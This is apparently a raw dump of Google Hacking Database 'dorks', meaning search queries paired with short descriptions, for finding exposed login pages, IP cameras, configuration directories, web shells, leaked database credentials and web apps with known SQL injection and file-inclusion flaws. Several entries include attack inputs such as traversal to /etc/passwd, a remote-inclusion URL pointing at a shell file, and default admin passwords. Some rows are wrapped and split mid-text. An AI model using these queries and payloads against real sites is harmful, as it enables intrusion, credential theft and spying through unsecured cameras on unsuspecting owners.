inurl:"/slxweb.dll/external?name=(custportal|webticketcust)"	inurl:"/slxweb.dll/external?name=(custportal|webticketcust)"	Customer login pages"SalesLogix is the Customer Relationship Management Solution that drives sales performance in small to Medium-sized businesses through Sales, Marketing, and Customer Support automation and back-officeintegration."
(intitle:"Please login - Forums powered by WWWThreads")|(inurl:"wwwthreads/	(intitle:"Please login - Forums powered by WWWThreads")|(inurl:"wwwthreads/login.php")|(inurl:"wwwthreads/login.pl?Cat=")	"WWWthreads is a high powered, full scalable, customizable open source bulletin board package that you will be able to modify to your specific topics, users, and needs. WWWthreads has an

login.php")|(inurl:"wwwthreads/login.pl?Cat=")		extremely comprehensive interface, a very simple administration panel for quick set up and management, as well as a frequently asked questions to help guide you through the process should you hit any snags or have any questions."
intitle:"Apache Status" "Apache Server Status for"	intitle:"Apache Status" "Apache Server Status for"	New Apache Server Status Dork
(intitle:"rymo Login")|(intext:"Welcome to rymo") -family	(intitle:"rymo Login")|(intext:"Welcome to rymo") -family	"rymo is a small but reliable webmail gateway. It contacts a POP3-server for mail reading and uses the PHP-internal mail functions for mail sending."
"SquirrelMail version" "By the SquirrelMail Development Team"	"SquirrelMail version" "By the SquirrelMail Development Team"	More SquirrelMail Logins
intitle:"TWIG Login"	intitle:"TWIG Login"	"TWIG is a Web-based groupware suite written in PHP, compatible with both PHP3 and PHP4. Its features include IMAP and POP3 email, Usenet newsgroups, contact management, scheduling, shared notes and bookmarks, a todo list, and meeting announcements."
intitle:IMP inurl:imp/index.php3	intitle:IMP inurl:imp/index.php3	Webmail Login pages for IMP"IMP is a set of PHP scripts that implement an IMAP based webmail system. Assuming you have an account on a server that supports IMAP, you can use an installation of IMP to check your mail from anywhere that you have web access."
(intitle:"SHOUTcast Administrator")|(intext:"U SHOUTcast D.N.A.S. Status")	(intitle:"SHOUTcast Administrator")|(intext:"U SHOUTcast D.N.A.S. Status")	sHOUTcast is a free-of-charge audio homesteading solution. It permits anyone on the internet to broadcast audio from their PC to listeners across the Internet or any other IP-based network (Office LANs, college campuses, etc.).SHOUTcast's underlying technology for audio delivery is MPEG Layer 3, also known

		as MP3 technology. The SHOUTcast system can deliver audio in a live situation, or can deliver audio on-demand for archived broadcasts.
intitle:"SHOUTcast Administrator" inurl:admin.cgi	intitle:"SHOUTcast Administrator" inurl:admin.cgi	Login pages for SHOUTcast"SHOUTcast is a free-of-charge audio homesteading solution. It permits anyone on the internet to broadcast audio from their PC to listeners across the Internet or any other IP-based network (Office LANs, college campuses, etc.).SHOUTcast's underlying technology for audio delivery is MPEG Layer 3, also known as MP3 technology. The SHOUTcast system can deliver audio in a live situation, or can deliver audio on-demand for archived broadcasts. "
intext:"Target Multicast Group" "beacon"	intext:"Target Multicast Group" "beacon"	"... Multicast Beacon is a multicast diagnostic tool written in Perl which uses the RTP protocol (RFC3550) to provide useful statistics and diagnostic information about a given multicast group's connectivity characteristics.Multicast is a way of distributing IP packets to a set of machines which have expressed an interest in receiving them. It is a one-to-many distribution model suitable for video conferencing and other forms of data sharing over the network."see h**p://beacon.dast.nlanr.net
(intitle:"Please login - Forums powered by UBB.threads")|(inurl:login.php "ubb")	(intitle:"Please login - Forums powered by UBB.threads")|(inurl:login.php "ubb")	Logins for Forums powered by UBB.threads
(intitle:"WmSC e-Cart Administration")|(intitle:"WebMyStyle e-Cart Administration")	(intitle:"WmSC e-Cart Administration")|(intitle:"WebMyStyle e-Cart Administration")	Login Pages for WebMyStyle."WebMyStyle offers a full range of web hosting and dedicated server plans, but also gives you the ability to pick and choose the features that you need for your web sites."

intitle:"eXist Database Administration" -demo	intitle:"eXist Database Administration" -demo	Login Pages "eXist is an Open Source native XML database featuring efficient, index-based XQuery processing, automatic indexing, extensions for full-text search, XUpdate support and tight integration with existing XML development tools. The database implements the current XQuery 1.0 working draft as of November, 2003 (for the core syntax, some details already following later versions), with the exception of the XML schema related features."
intitle:"Apache Tomcat" "Error Report"	intitle:"Apache Tomcat" "Error Report"	Apache Tomcat Error messages. These can reveal various kinds information depending on the type of error.
intext:"This site is using phpGraphy" | intitle:"my phpgraphy site"	intext:"This site is using phpGraphy" | intitle:"my phpgraphy site"	found this: a remote user can have access to some edit functionalities to "modify" html. Impact: cross site scripting, denial of service references:http://retrogod.altervista.org/phpgraphy_0911_adv.htmlhttp://secunia.com/advisories/19705
intext:"Powered by PCPIN.com" -site:pcpin.com -ihackstuff -"works with" -findlaw	intext:"Powered by PCPIN.com" -site:pcpin.com -ihackstuff -"works with" -findlaw	this is for PCPIN Chat SQL injection/login bypass and arbitrary local inclusion references:http://retrogod.altervista.org/pcpin_504_xpl.htmlhttp://secunia.com/advisories/19708/
intitle:r57shell +uname -bbpress	intitle:r57shell +uname -bbpress	compromised servers... a lot are dead links, but pages cached show interesting info, this is r57shell.php script by Rush Security Team
intitle:"iGuard Fingerprint Security System"	intitle:"iGuard Fingerprint Security System"	vendor:http://www.iguardus.com/dome information disclosure: employeers list & free camera access
intitle:"Veo Observer XT" -inurl:shtml|pl|php|htm|asp|aspx|pdf|cfm -intext:observer	intitle:"Veo Observer XT" -inurl:shtml|pl|php|htm|asp|aspx|pdf|cfm -intext:observer	just more results for this:http://johnny.ihackstuff.com/index.php?module=prodreviews&func=showcontent&id=1348
(intitle:(EyeSpyFX|OptiCamFX) "go to	(intitle:(EyeSpyFX|OptiCamFX) "go to camera")|(inurl:servlet/DetectBrows	just more cameras vendor site: http://www.eyespyfx.com/

camera")|(inurl:servlet/DetectBrowser)	er)	
intitle:"X7 Chat Help Center" | "Powered By X7 Chat" -milw0rm -exploit	intitle:"X7 Chat Help Center" | "Powered By X7 Chat" -milw0rm -exploit	this is for X7 Chat
inurl:cgi-bin/guestimage.html	inurl:cgi-bin/guestimage.html	just more more MOBOTIX's
allinurl:tseekdir.cgi	allinurl:tseekdir.cgi	tseekdir.cgi?location=FILENAME%00 eg:tseekdir.cgi?location=/etc/passwd%00basically any file on the server can be viewed by inserting a null (%00) into the URL.credit to duritohttp://seclists.org/bugtraq/2006/May/0184.html
intitle:"BadBlue: the file-sharing web server anyone can use"	intitle:"BadBlue: the file-sharing web server anyone can use"	Badblue file sharing web server detection
Copyright . Nucleus CMS v3.22 . Valid XHTML 1.0 Strict . Valid CSS . Back to top -demo -"deadly eyes"	Copyright . Nucleus CMS v3.22 . Valid XHTML 1.0 Strict . Valid CSS . Back to top -demo -"deadly eyes"	this is for Nucleus 3.22 CMS arbitrary remote inclusion advisory/poc exploit: http://retrogod.altervista.org/nucleus_322_incl_xpl.html
"powered by pppblog v 0.3.(.)"	"powered by pppblog v 0.3.(.)"	this is for the pppblog 0.3.x system disclosure vulnerability, advisory/poc exploit: http://retrogod.altervista.org/pppblog_038_xpl.html
"Powered by PHP-Fusion v6.00.110" | "Powered by PHP-Fusion v6.00.2.." | "Powered by PHP-Fusion v6.00.3.." -v6.00.400 -johnny.ihackstuff	"Powered by PHP-Fusion v6.00.110" | "Powered by PHP-Fusion v6.00.2.." | "Powered by PHP-Fusion v6.00.3.." -v6.00.400 -johnny.ihackstuff	this the dork for theese PHP-Fusion exploits:http://retrogod.altervista.org/phpfusion_600306_xpl.htmlhttp://retrogod.altervista.org/phpfusion_600306_sql.html

intitle:"XOOPS Site" intitle:"Just Use it!" | "powered by xoops (2.0)|(2.0.....)"	intitle:"XOOPS Site" intitle:"Just Use it!" | "powered by xoops (2.0)|(2.0.....)"	this is the dork for the XOOPS 2.x 'xoopsOption[nocommon]' overwrite vulnerability, advisory & poc exploit:http://retrogod.altervista.org/xoops_20132_incl.html
inurl:wp-login.php +Register Username Password "remember me" -echo -trac -footwear	inurl:wp-login.php +Register Username Password "remember me" -echo -trac -footwear	this is a bit different from the previous one in GHDB, it searches for Wordpress 2.x sites where user registration is enabled, a user can inject a carriage return and php code inside cache files to have a shell on target systemadvisory & poc exploit here: http://retrogod.altervista.org/wordpress_202_xpl.html
"powered by ubbthreads"	"powered by ubbthreads"	forums powered by ubbthreads are vulnerable to file inclusion.You can get more results with yahoo search.http://site.com/ubbthredspath//ubbt.inc.php?thispath=http://shell.txt?http://www.securityfocus.com/archive/1/archive/1/435288/100/0/threaded
intitle:"SNC-RZ30 HOME" -demo	intitle:"SNC-RZ30" -demo	This search will reveal Sony's SNC-RZ30 IP camera's web interface. Quite a few of these cameras have not been configured to deny you control. These are not only cameras in the US but may include cameras abroad.Including: University Security CamerasForeign government camerasI've seen cameras monitoring submarines.You may also use this in place of SNC-RZ30, but they don't yield as many results.SNC-CS3 SNC-RZ25SNC-DF40 SNC-RZ30SNC-DF70 SNC-VL10SNC-P1 SNC-Z20
allintitle: EverFocus | EDSR | EDSR400 Applet	allintitle: EverFocus | EDSR | EDSR400 Applet	Modified Everfocus search, pulls in EDSR400's as well s a few strays missed by original query.
allintitle:Edr1680 remote viewer	allintitle:Edr1680 remote viewer	Everfocus EDR1680. Only returns 2 or 3 results, but submitted for completeness sake.
allintitle: EDR1600 login | Welcome	allintitle: EDR1600 login | Welcome	Everfocus EDR1600

allintitle: EDR400 login | Welcome	allintitle: EDR400 login | Welcome	Everfocus EDR400
FlashChat v4.5.7	FlashChat v4.5.7	This simple search brings up lots of online Flash Chat clients. Flash Chat's administration directory is always found by visiting /admin in the URL. Example: www.webaddress.com/flashChat/admin/The default Admin password is "adminpass" (Without the speech marks).
intitle:"Divar Web Client"	intitle:"Divar Web Client"	Boshe/Divar Net Cameras. Uses ActiveX - IE only.
intitle:"Live View / - AXIS" | inurl:view/view.shtml OR inurl:view/indexFrame.shtml | intitle:"MJPG Live Demo" | "intext:Select preset position"	intitle:"Live View / - AXIS" | inurl:view/view.shtml OR inurl:view/indexFrame.shtml | intitle:"MJPG Live Demo" | "intext:Select preset position"	No one search will reveal all Axis cameras. This is my mod of one of the queries. It usualy returns 990-1000 of the 1000 results google allows.
allintitle: Axis 2.10 OR 2.12 OR 2.30 OR 2.31 OR 2.32 OR 2.33 OR 2.34 OR 2.40 OR 2.42 OR 2.43 "Network Camera "	allintitle: Axis 2.10 OR 2.12 OR 2.30 OR 2.31 OR 2.32 OR 2.33 OR 2.34 OR 2.40 OR 2.42 OR 2.43 "Network Camera "	No one search will reveal all Axis cameras. This is a variant for the 2xxx series.
intitle:"BlueNet Video Viewer"	intitle:"BlueNet Video Viewer"	Near broadcast quality video over the internet. A full 30fps at the 320 X 240 size. 12fps at the 640 X 480 size. The BlueNet video server will accept virtually any type of camera, wireless receivers, DVRs, multiplexes, etc. Display and access any security system live from anywhere in the world utilizing the web. All you need is an Internet browser to view the image. Uses ActiveX.
intitle:"stingray fts login" | (login.jsp	intitle:"stingray fts login" | (login.jsp intitle:StingRay)	The Stingray File Transfer Server: Open communication regardless of

intitle:StingRay)		platform, protocol or location. Independant of operating system architecture and the type of communication line, StingRay enables fast and simple file transfer.Login= user:(no password) or admin:stingrayPS: only 1 result now.
intitle:Ampache intitle:"love of music" password | login | "Remember Me." -welcome	intitle:Ampache intitle:"love of music" password | login | "Remember Me." -welcome	Ampache is a Web-based MP3/Ogg/RM/Flac/WMA/M4A manager. It allows you to view, edit, and play your audio files via HTTP/IceCast/Mpd or Moosic. It has support for downsampling, playlists, artist, and album views, album art, random play, song play tracking, user themes, and remote catalogs using XML-RPC.
allintitle:"DVR login"	allintitle:"DVR login"	softwell Technology "Wit-Eye" DVR.Default user/pass is admin:adminRequires ActiveX
intitle:index.of.config	intitle:index.of.config	These directories can give information about a web servers configuration. This should never be viewable to the public as some files may contain cleartext of encrypted passwords, depending on the level of security. It can also contain information on various ports, security permisions..etc.
site:extremetracking.com inurl:"login="	site:extremetracking.com inurl:"login="	The search reveals usernames (right in the URL in green) and links to the sites that are signed up with extremetracking.com. From here an attacker can view any of the sites stats, including all the visitors to the site that is being tracked, including their IP adresses.
"SurgeMAIL" inurl:/cgi/user.cgi ext:cgi	"SurgeMAIL" inurl:/cgi/user.cgi ext:cgi	surgemail is an email server from netwinsite.com that can be accessed by a web browser. This dork finds the web logins.
intitle:"Login to @Mail" (ext:pl | inurl:"index") -dwaffleman	intitle:"Login to @Mail" (ext:pl | inurl:"index") -dwaffleman	Webmail is a http based email server made by atmail.com. To get to the admin login instead of the regular login add webadmin/ to the url.

(intitle:"SilkyMail by Cyrusoft International, Inc.")|(intitle:"Welcome to SilkyMail")|(intitle:"Willkommen bei SilkyMail")|(inurl:adv_login.php3)|(in	(intitle:"SilkyMail by Cyrusoft International, Inc	silkyMail is a free internet email client, from www.cyrusoft.com, that runs in your browser. The server can work with apache or as a stand alone email server.The google query and url got cut off, it should really be:(intitle:"SilkyMail by Cyrusoft International, Inc.")|(intitle:"Welcome to SilkyMail")|(intitle:"Willkommen bei SilkyMail")|(inurl:adv_login.php3)|(inurl:"silkymail/imp/login.php3")http://www.google.com/search?num=100&hl=en&lr=&safe=off&q=%28intitle%3A%22SilkyMail+by+Cyrusoft+International%2C+Inc.%22%29%7C%28intitle%3A%22Welcome+to+SilkyMail%22%29%7C%28intitle%3A%22Willkommen+bei+SilkyMail%22%29%7C%28inurl%3Aadv_login.php3%29%7C%28inurl%3A%22silkymail%2Fimp%2Flogin.php3%22%29&btnG=Search
ext:php intext:"$dbms""$dbhost""$dbuser""$dbpasswd""$table_prefix""phpbb_installed"	ext:php intext:"$dbms""$dbhost""$dbuser""$dbpasswd""$table_prefix""phpbb_installed"	Hacking a phpBB forum. Here you can gather the mySQL connection information for their forum database. View the .php info by using Google's cache feature.
"Powered by sendcard - an advanced PHP e-card program" -site:sendcard.org	"Powered by sendcard - an advanced PHP e-card program" -site:sendcard.org	this is for Sendcard remote commands execution,advisory/ poc exploit: http://retrogod.altervista.org/sendcard_340_xpl.html
"powered by xmb"	"powered by xmb"	this is for XMB
"powered by minibb forum software"	"powered by minibb forum software"	This dork is for minibb forum software arbitrary remote inclusion. this is about the unset() issue found by S. Esser: http://www.hardened-php.net/hphp/zend_hash_del_key_or_index_vulnerability.html Try this c codes to calculate hashes if you wanna test the unset() vuln on some other app: http://johnny.ihackstuff.com/index.php?name=PNphpBB2&file=viewtopic&t=3944

inurl:eStore/index.cgi?	inurl:eStore/index.cgi?	this is for eStore directory traversal, example exploit:http://[target]/[path]/eStore/index.cgi?page=../../../../../../../../etc/passwd
"login: *" "password: *" filetype:xls	"login: *" "password= *" filetype:xls	This returns xls files containing login names and passwords. it works by showing all the xls files with password:(something)so a downside is that u do get stuff like "password protected", "password services" etc. (and the same for login)But...most of the decent ones have the login and password in the text given to you by google, so its easy to seperate the useful ones from the others.
inurl:+:8443/login.php3	inurl:+:8443/login.php3	Plesk is a multi platform control panel solution for hosting.More information: hxxp://www.swsoft.com/plesk/Vulnerability: PLESK 7.5 Reload (and lower) & PLESK 7.6 for M$ Windows path passing and disclosure] Discovered By: GuanYu
inurl:wrcontrollite	inurl:wrcontrollite	Browse up to 16 security cameras at one time :)
"Powered by Vsns Lemon" intitle:"Vsns Lemon"	"Powered by Vsns Lemon" intitle:"Vsns Lemon"	hxxp://evuln.com/vulns/106/summary.html
inurl:"simplenews/admin"	inurl:"simplenews/admin"	hxxp://evuln.com/vulns/94/summary.html
inurl:"/?pagename=AdministratorLogin"	inurl:"/?pagename=AdministratorLogin"	Powered by Bariatric AdvantageAdmin Login:Admin login pages for what looks like an inhouse eshop. No obvious public exploits but I'm sure there is a way WinkMore info found here:h**p://catalinalifesciences.com/ Credit to cp for the clean up
inurl:"/?pagename=CustomerLogin"	inurl:"/?pagename=CustomerLogin"	Customer login pages for what looks like an inhouse eshop. More information here:h**p://catalinalifesciences.com/ Credit to cp for clean up.
"LANCOM	"LANCOM DSL/*-* Office *"	h**p://www.lancom-systems.de/Login

DSL/*-* Office *" "Entry Page"	"Entry Page"	page for these Lancom online DSL devices.
intitle:"AdventNet ManageEngine ServiceDesk Plus" intext:"Remember Me"	intitle:"AdventNet ManageEngine ServiceDesk Plus" intext:"Remember Me"	serviceDesk Plus is a 100 % web-based Help Desk and Asset Management software.vendor: h**p://manageengine.adventnet.com/products/service-desk/index.htmlmanual: h**p://manageengine.adventnet.com/products/service-desk/help/adminguide/index.html
"Welcome to the CyberGuard unit!"	"Welcome to the CyberGuard unit!"	"Welcome to the CyberGuard unit! To begin configuring your CyberGuard unit now, use the menu to the left, or the Quick Setup Wizard .." :)
"SnapGear Management Console" "Welcome to the SnapGear Unit!" -pdf	"SnapGear Management Console" "Welcome to the SnapGear Unit!" -pdf	"Welcome to the SnapGear Unit! To begin configuring your SnapGear unit now, use the menu to the left, or the Quick Setup Wizard .." :)PS: this software looks very much like Cyberguard.
intitle:"Your Network Device" Status (LAN | WAN)	intitle:"Your Network Device" Status (LAN | WAN)	Login page for the Solwise Sar715+ ADSL Router from solwise.co.uk. Thanks to jeffball55 for the identification of this "victim" ;)
intitle:Top "Vantage Service Gateway" -inurl:zyxel	intitle:Top "Vantage Service Gateway" -inurl:zyxel	VSG1200 Vantage Service Gateway (topframe), go up one level for the login page. Vendor page at h**p://www.i-tech.com.au/products/7828_ZYXEL_VSG_1200_Vantage_Service_Management.asp
intitle:"AppServ Open Project *" "AppServ is a merging open source software installer package" -phpbb	intitle:"AppServ Open Project *" "AppServ is a merging open source software installer package" -phpbb	Often includes phpinfo and unsecured links to phpmyadmin.
intitle:ARI "Phone System Administrator"	intitle:ARI "Phone System Administrator"	Login page for "Asterisk Recording Interface" (ARI).
allintext:"WebServerX Server at"	allintext:"WebServerX Server at"	Quick and dirty WebserverX HTTP server google dork

allintitle:"SyncThru Web Service"	allintitle:"SyncThru Web Service"	This search finds Internet-connected Samsung printer control panels.
allinurl:com_pccookbook	allinurl:com_pccookbook	Joomla Component com_pccookbook (user_id) SQL Injection Vulnerability - CVE: 2008-0844: http://www.exploit-db.com/exploits/5145
inurl:"section.php?name=singers"	inurl:"section.php?name=singers"	6rbScript 3.3 (section.php name) Local File Inclusion Vulnerability - CVE: 2008-6453: http://www.exploit-db.com/exploits/6520
Powered by v1.14 powered by philboard v1.14	Powered by v1.14 powered by philboard v1.14	W1L3D4 Philboard 1.2 (Blind SQL/XSS) Multiple Remote Vulnerabilities - CVE: 2008-5192: http://www.exploit-db.com/exploits/5958
inurl:index.php%"Submit%Articles"%"Member%Login"%"Top%Authors"	inurl:index.php%"Submit%Articles"%"Member%Login"%"Top%Authors"	Article Directory (index.php page) Remote File Inclusion Vulnerability - CVE: 2007-4007: http://www.exploit-db.com/exploits/4221
allinurl: "wordspew-rss.php"	allinurl: "wordspew-rss.php"	Wordpress Plugin Wordspew Remote SQL Injection Vulnerability - CVE: 2008-0682: http://www.exploit-db.com/exploits/5039
allinurl: com_clasifier	allinurl: com_clasifier	Joomla Component com_clasifier (cat_id) SQL Injection Vulnerability - CVE: 2008-0842: http://www.exploit-db.com/exploits/5146
allinurl: "com_galeria"	allinurl: "com_galeria"	Joomla Component com_galeria Remote SQL Injection Vulnerability - CVE: 2008-0833: http://www.exploit-db.com/exploits/5134
Powered by hwdVideoShare	Powered by hwdVideoShare	Joomla Component com_hwdvideoshare SQL Injection Vulnerability - CVE: 2008-0916: http://www.exploit-db.com/exploits/5160
allinurl: modules-php-name-Siir	allinurl: modules-php-name-Siir	PHP-Nuke Module Siir (id) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/5169
allinurl: id "com_jooget"	allinurl: id "com_jooget"	Joomla Component jooget

allinurl: "modules/wfdownloads/viewcat.php?cid"	allinurl: "modules/wfdownloads/viewcat.php?cid"	XOOPS Module wfdownloads (cid) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/5218
allinurl: "modules/eEmpregos/index.php"	allinurl: "modules/eEmpregos/index.php"	XOOPS Module eEmpregos (cid) Remote SQL Injection Vulnerability - CVE: 2008-0874: http://www.exploit-db.com/exploits/5157
Powered by Active PHP Bookmarks v1.1.02	Powered by Active PHP Bookmarks v1.1.02	Active PHP Bookmarks 1.1.02 Remote SQL Injection Vulnerability - CVE: 2008-3748: http://www.exploit-db.com/exploits/6277
powered by Site Sift	powered by Site Sift	Site Sift Listings (id) Remote SQL Injection Vulnerability - CVE: 2008-1869: http://www.exploit-db.com/exploits/5383
"Create your own free webring and bring traffic to your website. Join now, it's free!"	"Create your own free webring and bring traffic to your website. Join now, it's free!"	Prozilla Webring Website Script (category.php cat) Remote SQL Injection - CVE: 2007-4362: http://www.exploit-db.com/exploits/4284
inurl:com_joomladate	inurl:com_joomladate	Joomla Component JoomlaDate (user) SQL injection Vulnerability - CVE: 2008-6068: http://www.exploit-db.com/exploits/5748
"powered by ILIAS"	"powered by ILIAS"	ILIAS 3.7.4 (ref_id) Blind SQL Injection Vulnerability - CVE: 2008-5816: http://www.exploit-db.com/exploits/7570
allinurl: "index.php?option=com_doc"	allinurl: "index.php?option=com_doc"	Joomla Component com_doc Remote SQL Injection Vulnerability - CVE: 2008-0772: http://www.exploit-db.com/exploits/5080
Powered by GL-SH DEAF forum 6.5.5 final.	Powered by GL-SH DEAF forum 6.5.5 final.	PHP Forum ohne My SQL Remote File Upload Vulnerability: http://www.exploit-db.com/exploits/10757
inurl:com_simpleshop	inurl:com_simpleshop	Joomla Component simpleshop 3.4 SQL injection Vulnerability - CVE: 2008-2568: http://www.exploit-db.com/exploits/5743
inurl:"index.php?pageid=" Property	inurl:"index.php?pageid=" Property Listings	Realtor 747 (index.php categoryid) Remote SQL Injection Vulnerbility -

Listings		CVE: 2007-3810: http://www.exploit-db.com/exploits/4184
"Powered by Smoothflash"	"Powered by Smoothflash"	Smoothflash (admin_view_image.php cid) SQL Injection Vulnerability - CVE: 2008-1623: http://www.exploit-db.com/exploits/5322
display_blog.php	display_blog.php	Social Site Generator (sgc_id) Remote SQL Injection Vulnerability - CVE: 2008-6419: http://www.exploit-db.com/exploits/5701
Snipe Gallery v.3.1.5 by Snipe.Net	Snipe Gallery v.3.1.5 by Snipe.Net	snipe gallery Script Sql Injection: http://www.exploit-db.com/exploits/14053
Powered by AspDownload	Powered by AspDownload	ASP Download 1.03 Arbitrary Change Administrator Account Vulnerability - CVE: 2008-6739: http://www.exploit-db.com/exploits/5780
DA Mailing List System V2 Powered by DigitalArakan.Net	DA Mailing List System V2 Powered by DigitalArakan.Net	DA Mailing List System V2 Multiple Vulnerabilities: http://www.exploit-db.com/exploits/11348
Powered By AJ Auction Web	Powered By AJ Auction Web	AJ Auction Web 2.0 (cate_id) SQL Injection Vulnerability - CVE: 2008-2860: http://www.exploit-db.com/exploits/5867
"showad.php?listingid="	"showad.php?listingid="	BM Classifieds 20080409 Multiple SQL Injection Vulnerabilities - CVE: 2008-1272: http://www.exploit-db.com/exploits/5223
"Powered by My PHP Indexer 1.0"	"Powered by My PHP Indexer 1.0"	My PHP Indexer 1.0 (index.php) Local File Download Vulnerability - CVE: 2008-6183: http://www.exploit-db.com/exploits/6740
allinurl: "com_rapidrecipe" user_id	allinurl: "com_rapidrecipe"user_id	Joomla Component rapidrecipe 1.6.5 SQL Injection Vulnerability - CVE: 2008-0754: http://www.exploit-db.com/exploits/5103
allinurl: "modules/dictionary"	allinurl: "modules/dictionary"	XOOPS Module Dictionary 0.94 Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/5267
"RS MAXSOFT"	"RS MAXSOFT"	RX Maxsoft (popup_img.php fotoID)

		Remote SQL Injection Vulnerability - CVE: 2008-4912: http://www.exploit-db.com/exploits/5426
"2007 RADIOZAZA www.radiozaza.de ? istek hatti Version 2.5"	"2007 RADIOZAZA www.radiozaza.de? istek hatti Version 2.5"	Radio istek scripti 2.5 Remote Configuration Disclosure Vulnerability - CVE: 2009-4096: http://www.exploit-db.com/exploits/10231
allinurl: "index.php?p=poll "showresult	allinurl: "index.php?p=poll"showresult	Koobi Pro 6.25 poll Remote SQL Injection Vulnerability - CVE: 2008-2036: http://www.exploit-db.com/exploits/5448
allinurl: "com_joovideo" detail	allinurl: "com_joovideo" detail	Joomla Component joovideo 1.2.2 (id) SQL Injection Vulnerability - CVE: 2008-1460: http://www.exploit-db.com/exploits/5277
content_by_cat.asp ?contentid "catid"	content_by_cat.asp?contentid "catid"	ASPapp Knowledge Base Remote SQL Injection Vulnerability - CVE: 2008-1430: http://www.exploit-db.com/exploits/5286
Powered By AlstraSoft Video Share Enterprise	Powered By AlstraSoft Video Share Enterprise	AlstraSoft Video Share Enterprise 4.5.1 (UID) SQL Injection Vulnerability - CVE: 2008-3386: http://www.exploit-db.com/exploits/6092
"Powered by PG Real Estate Solution - real estate web site design"	"Powered by PG Real Estate Solution - real estate web site design"	PG Real Estate (Auth Bypass) SQL Injection Vulnerability - CVE: 2008-5306: http://www.exploit-db.com/exploits/7200
"Powered by PG Roomate Finder Solution - roommate estate web site design"	"Powered by PG Roomate Finder Solution - roommate estate web site design"	PG Roomate Finder Solution (Auth Bypass) SQL Injection Vulnerability - CVE: 2008-5307: http://www.exploit-db.com/exploits/7201
allinurl: com_pcchess "user_id"	allinurl: com_pcchess "user_id"	Joomla Component pcchess 0.8 Remote SQL Injection Vulnerability - CVE: 2008-0761: http://www.exploit-db.com/exploits/5104
Powered by PHP upload - unijimpe.	Powered by PHP upload - unijimpe.	PHP upload - (unijimpe) Remote File Upload Vulnerability: http://www.exploit-db.com/exploits/10732

"Powered by FubarForum v1.6"	"Powered by FubarForum v1.6"	FubarForum 1.6 Arbitrary Admin Bypass Vulnerability: http://www.exploit-db.com/exploits/7595
inurl:cfaq/index.php?catid=	inurl:cfaq/index.php?catid=	FAQ Management Script (catid) Remote SQL Injection Vulnerability - CVE: 2008-4743: http://www.exploit-db.com/exploits/6629
"name Kose_Yazilari op viewarticle artid"	"name Kose_Yazilari op viewarticle artid"	PHP-Nuke Module Kose_Yazilari (artid) SQL Injection Vulnerability - CVE: 2008-1053: http://www.exploit-db.com/exploits/5186
inurl: modifyform.html?code=	inurl: modifyform.html?code=	modifyform (modifyform.html) Remote File Inclusion Vulnerability: http://www.exploit-db.com/exploits/4423
allinurl: com_ricette	allinurl: com_ricette	Mambo Component Ricette 1.0 Remote SQL Injection Vulnerability - CVE: 2008-0841: http://www.exploit-db.com/exploits/5133
out.php?linkid=1	out.php?linkid=1	Link ADS 1 (out.php linkid) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/5930
allinurl:"com_garyscookbook"	allinurl:"com_garyscookbook"	Mambo Component garyscookbook 1.1.1 SQL Injection Vulnerability - CVE: 2008-1137: http://www.exploit-db.com/exploits/5178
inurl:"index.php?conteudo="	inurl:"index.php?conteudo="	Waibrasil Remote / Local File Inclusion: http://www.exploit-db.com/exploits/12562
inurl:"section.php?name=singers"	inurl:"section.php?name=singers"	6rbScript 3.3 (singerid) Remote SQL Injection Vulnerability - CVE: 2008-6454: http://www.exploit-db.com/exploits/6511
inurl:cat1.php?catID= "Spaceacre"	inurl:cat1.php?catID= "Spaceacre"	Spaceacre (index.php) SQL/HTML/XSS Injection Vulnerability: http://www.exploit-db.com/exploits/12756
"Powered by FubarForum v1.6"	"Powered by FubarForum v1.6"	FubarForum 1.6 Admin Bypass Change User Password Vulnerability: http://www.exploit-db.com/exploits/7606

inurl:comment.asp intext:Your e-mail address will be used to send you voting and comment activity. Inclusion of your address is optional but Battle Blog cannot notify you of these activities unless you supply an accurate e-mail.	inurl:comment.asp intext:Your e-mail address will be used to send you voting and comment activity. Inclusion of your address is optional but Battle Blog cannot notify you of these activities unless you supply an accurate e-mail.	Battle Blog 1.25 Auth Bypass SQL Injection / HTML Injection Vulns - CVE: 2009-3718: http://www.exploit-db.com/exploits/9183
inurl:com_img	inurl:com_img	Joomla Component (com_img) LFI Vulnerability: http://www.exploit-db.com/exploits/15470
details.php?p_id=	details.php?p_id=	The iceberg 'Content Management System' SQL Injection Vulnerability - CVE: 2010-2016: http://www.exploit-db.com/exploits/12620
allinurl:"modules/photo/viewcat.php?id"	allinurl:"modules/photo/viewcat.php?id"	RunCMS Module Photo 3.02 (cid) Remote SQL Injection Vulnerability - CVE: 2008-1551: http://www.exploit-db.com/exploits/5290
powered by 35mm Slide Gallery	powered by 35mm Slide Gallery	35mm Slide Gallery Directory Traversal Vulnerability: http://www.exploit-db.com/exploits/10614
allinurl:"com_simpleshop"	allinurl:"com_simpleshop"	Joomla Component simple shop 2.0 SQL Injection Vulnerability: http://www.exploit-db.com/exploits/5177
powered by vBulletin 3.8.4	powered by vBulletin 3.8.4	vBulletin 3.8.4 & 3.8.5 Registration Bypass Vulnerability: http://www.exploit-db.com/exploits/14833
intitle:Web Calendar system v 3.30 inurl:.asp	intitle:Web Calendar system v 3.30 inurl:.asp	Web Calendar System 3.12/3.30 Multiple Remote Vulnerabilities - CVE: 2004-1552: http://www.exploit-db.com/exploits/7242
inurl:index.php?page=en_jobseekers	inurl:index.php?page=en_jobseekers	JobSite Professional 2.0 file.php Remote SQL Injection Vulnerability - CVE: 2007-5785: http://www.exploit-

		db.com/exploits/4576
webwizguestbook_license.asp	webwizguestbook_license.asp	Web Wiz Guestbook 8.21 (WWGguestbook.mdb) DD Vulnerability - CVE: 2003-1571: http://www.exploit-db.com/exploits/7488
allinurl: aid "com_xfaq"	allinurl: aid "com_xfaq"	Joomla Component xfaq 1.2 (aid) Remote SQL Injection Vulnerability - CVE: 2008-0795: http://www.exploit-db.com/exploits/5109
inurl:modules/flashgames/	inurl:modules/flashgames/	XOOPS Flashgames Module 1.0.1 Remote SQL Injection Vulnerability - CVE: 2007-2543: http://www.exploit-db.com/exploits/3849
inurl:index.php?option=com_mediaslide	inurl:index.php?option=com_mediaslide	Joomla Component com_mediaslide Directory Traversal Vulnerability: http://www.exploit-db.com/exploits/10591
inurl:"com_biblestudy"	inurl:"com_biblestudy"	Joomla Component com_biblestudy LFI Vulnerability - CVE: 2010-0157: http://www.exploit-db.com/exploits/10943
